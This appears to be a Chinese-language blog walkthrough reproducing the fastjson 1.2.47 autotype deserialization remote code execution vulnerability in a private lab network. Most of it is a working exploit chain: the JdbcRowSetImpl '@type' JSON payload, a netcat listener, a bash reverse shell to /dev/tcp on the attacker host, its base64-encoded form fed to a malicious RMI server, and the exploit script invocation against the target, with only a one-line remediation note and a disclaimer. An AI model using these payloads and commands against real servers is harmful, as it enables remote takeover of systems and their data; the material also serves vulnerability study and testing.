fastjson远程代码执行漏洞复现

漏洞产生原因

fastjson提供了autotype功能,在请求过程中,我们可以在请求包中通过修改@type的值,来反序列化为指定的类型,而fastjson在反序列化过程中会设置和获取类中的属性,如果类中存在恶意方法,就会导致代码执行漏洞产生。

查看fastjson漏洞利用工具的pyload

payload = """
    {
        "a": {
            "@type": "java.lang.Class", 
            "val": "com.sun.rowset.JdbcRowSetImpl"
        }, 
        "b": {
            "@type": "com.sun.rowset.JdbcRowSetImpl", 
            "dataSourceName": "%s", 
            "autoCommit": true
        }
    }

漏洞环境

漏洞主机 kali2020 ip地址:192.168.177.137

接收反弹shell主机 kali2018 ip地址:192.168.177.128

运行恶意Java类的主机和含有RMI服务主机 win10物理主机 ip地址:192.168.177.1

kali2020使用docker搭建fastjson1.2.47漏洞环境

漏洞复现

工具下载

https://github.com/zhzyker/exphub/tree/master/

 kali 2018 监听端口

nc -lvp 8888

 

 物理机运行RMI服务,加载恶意java类

bash -i >& /dev/tcp/192.168.177.128/8888 0>&1 //转换成可执行代码
java -cp fastjson_tool.jar fastjson.HRMIServer 192.168.177.1 9999 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Ny4xMjgvODg4OCAwPiYx}|{base64,-d}|{bash,-i}

 

发送反序列化代码漏洞执行命令

python3 fastjson-1.2.47_rce.py http://192.168.177.137:8090 rmi://192.168.177.1:9999/Object

 无法反弹shell

 查看端口监听情况,反弹shell,都不成功的,在肉鸡上直接执行命令,kali2018直接获取shell:

sudo bash -i >& /dev/tcp/192.168.177.128/8888 0>&1

查看代码发现加载恶意java类时base64编码时源地址写错了,导致代码执行不出去!!!

修改完以后还是不行,进行web访问fastjson地址发现访问不了(kali显示已启动),进行fastjson环境重启,再次访问web没有问题

 

再次执行上面命令,成功反弹shell

 

复测完成记得关闭漏洞环境

sudo docker-compose down

漏洞修复

升级最新版本,具体参见漏洞修复

参考链接

https://www.cnblogs.com/renhaoblog/p/13033723.html

https://www.freebuf.com/vuls/178012.html

免责声明

严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合 !

原文地址:https://www.cnblogs.com/lijingrong/p/13409579.html